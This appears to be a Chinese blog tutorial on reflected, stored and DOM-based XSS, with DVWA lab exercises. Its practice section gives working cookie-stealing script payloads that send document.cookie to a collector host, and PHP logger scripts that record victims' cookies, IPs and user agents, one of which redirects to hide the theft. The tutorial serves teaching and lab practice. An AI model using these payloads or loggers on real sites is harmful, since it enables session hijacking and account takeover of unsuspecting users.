XSS漏洞基础

拜拜、爱过 提交于 2019-12-11 10:20:55

XSS漏洞基础知识详解和DVWA的XSS练习

 

目录

xxs漏洞基础知识详解

XSS漏洞原理

1.反射型XSS

2.存储型XSS

3.DOM型XSS


  跨站脚本(Cross-Site Scripting, 简称为xss或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入页面, 其他用户在游览网页时就会受到影响。恶意用户利用XSS代码攻击成功后, 可能曾到很高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

  最简单的XSS攻击分为三种:反射型、 存储型、 DOM型

XSS漏洞原理

1.反射型XSS

  反射型XSS又称非持久型XSS, 这种攻击方式往往具有一次性。

攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接受该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的游览器,游览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

2.存储型XSS

  存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐藏性。

  攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户游览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的游览器中得到执行。

<script>alert (/hacker by hacker/)</script>

当其他用户访问留言版时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。

3.DOM型XSS

DOM全称document objict model ,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,他是属于DOM文档对象模型的一种漏洞。

HTML的标签都是节点,而这些节点组成了DOM的整体结构--节点树。通过HTML DOM, 树中的所有节点均可通过Java Script 进行访问。 所有HTML元素(节点)均可被修改, 也可以创建或删除节点。HTML DOM树结构

在网站页面中有许多元素,当页面到达游览器时,游览器会为页面创建一个顶级的Document  object文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端的交互,它只发生在客户端处理数据的阶段。

攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的游览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

接下来用DVWA的XSS环境实践讲解一下!

反射型xss

第一步:首先利用alert测试是否存在XSS

http://localhost/DVWA/vulnerabilities/xss_r/?name=<script>alert("1"); </script>#

出现弹窗,说明存在XSS。

第二步:编写php文档获取页面cookie、编写js代码将页面的cookie发送到cookie.php

<?php 

	$cookie=$_GET['cookie'];
	
	file_put_contents('cookie.txt',$cookie);

?>
http://localhost/DVWA/vulnerabilities/xss_r/
?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script>

记得要将<script>代码段进行url编码

成功拿到cookie,利用cookie登陆DVWA的首页!

 

存储型

第一步:首先测试是否存在XSS漏洞。

因为有弹窗所以存在XSS漏洞,而且是存储型的。

这时候还是写一个脚本去获取cookie。

<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: 

".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件

header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>

发现有长度限制,那就修改它!

接下来就是获取cookie。

</pre><script>document.location= 'http://192.168.244.1:8080/acceptcookie.php?cookie=' +document.cookie;</script><pre>

利用cookie登陆就好了!

DOM型

首先测试是否存在XSS漏洞。

弹出弹窗,说明有XSS漏洞。分析得出,可以直接往default参数注入XSS payload

<script>alert(document.cookie)</script>

 

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!